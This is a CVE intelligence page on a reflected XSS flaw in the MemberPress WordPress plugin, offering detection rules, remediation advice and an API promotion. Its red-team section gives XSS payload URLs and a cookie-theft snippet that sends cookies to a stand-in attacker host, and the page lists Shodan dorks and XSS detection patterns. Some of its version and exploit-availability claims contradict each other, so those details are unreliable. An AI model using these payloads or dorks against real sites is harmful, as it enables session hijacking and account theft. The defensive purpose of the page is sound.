☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1412

CVE-2024-1412 Cross-Site Scripting in Memberpress
📅 PUBLISHED: 2024-04-09 19:05 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.11%
👁️
3.11% probability
77.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1412 is a reflected cross-site scripting (XSS) vulnerability in the MemberPress WordPress plugin, affecting all versions up to and including 1.11.26. The flaw resides in insufficient sanitization of the message and error URL parameters, allowing unauthenticated attackers to inject arbitrary JavaScript. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement. The vulnerability was partially addressed in version 1.11.25 but remains exploitable under certain conditions. No public exploit code or Nuclei template is available, but the attack vector is well-understood.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the MemberPress plugin within the WordPress ecosystem. It is not related to the underlying web server (Apache/Nginx) or WordPress core. The attack surface is limited to sites running the vulnerable plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and the potential for phishing campaigns make this a viable attack vector.

Deep Dive & Mechanics

The vulnerability exists in the MemberPress plugin's handling of the message and error GET parameters. When a user is redirected to a page that includes these parameters, the plugin echoes their values directly into the HTML without proper output encoding. An attacker can craft a URL such as:

https://victim-site.com/?message=<script>alert('XSS')</script>

If a logged-in administrator or user clicks this link, the script executes in the context of the victim's session. The partial patch in 1.11.25 added some sanitization but failed to cover all edge cases, such as when the parameter is passed via a different HTTP method or when certain WordPress configurations alter the parameter handling.

Vulnerable vs. Patched Code

Vulnerable Code (<=1.11.24):

// In memberpress/app/lib/MeprView.php or similar
echo '<div class="mepr-message">' . $_GET['message'] . '</div>';

Partially Patched Code (1.11.25):

echo '<div class="mepr-message">' . esc_html( $_GET['message'] ) . '</div>';

Fully Patched Code (Recommended):

$message = isset($_GET['message']) ? sanitize_text_field( wp_unslash( $_GET['message'] ) ) : '';
echo '<div class="mepr-message">' . esc_html( $message ) . '</div>';

The partial patch uses esc_html() which escapes HTML entities but may not prevent JavaScript execution if the parameter is used in an event handler or other context. The fully patched version adds sanitize_text_field() and wp_unslash() for defense in depth.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with MemberPress <= 1.11.26
  • A victim user (preferably admin) who will click a link

Exploit Steps:

  1. Craft a malicious URL:
    http://target-site.com/?message=<img src=x onerror=alert(document.cookie)>
    
  2. Deliver the link via phishing email, social media, or a compromised site.
  3. When the victim clicks, the XSS payload executes, exfiltrating cookies or performing actions on their behalf.

Example Payload for Session Hijacking:

var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;

Blue Team

Detection:

  • Monitor web server logs for requests containing message= or error= parameters with suspicious characters (e.g., <script>, onerror, javascript:).
  • Use WAF rules to block common XSS patterns in these parameters.

Hunting:

  • Search for recent requests to the MemberPress plugin directory with unusual query strings.
  • Check for outbound connections from the web server to unknown IPs shortly after such requests.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /?message=<script> or /?error=<script>
    • Outbound connections to attacker-controlled domains from the WordPress server
  • File:
    • Modified wp-content/plugins/memberpress/ files (if attacker uploads a backdoor)
  • Log:
    • Web server logs showing repeated requests with message or error parameters containing HTML/JavaScript

Detection Engineering

YARA Rule

rule CVE_2024_1412_MemberPress_XSS {
    meta:
        description = "Detects reflected XSS attempts against MemberPress plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1412"
    strings:
        $param1 = "message="
        $param2 = "error="
        $xss1 = /<script[^>]*>/
        $xss2 = /onerror\s*=/
        $xss3 = /onload\s*=/
    condition:
        any of ($param*) and any of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against MemberPress Plugin
id: cve-2024-1412
status: experimental
description: Detects attempts to exploit CVE-2024-1412 via message or error parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'message=<'
            - 'error=<'
            - 'message=javascript:'
            - 'error=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1412 MemberPress Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"message="; http_uri; content:"<script"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade MemberPress to the latest version (>= 1.11.27 if available, or apply the full patch manually).
  2. Workaround: Add a WAF rule to block requests containing message= or error= with HTML/JavaScript characters.
  3. Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  4. Monitoring: Enable logging for all plugin-related requests and review regularly.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"MemberPress"
http.html:"memberpress"
http.html:"/wp-content/plugins/memberpress/"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1412/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.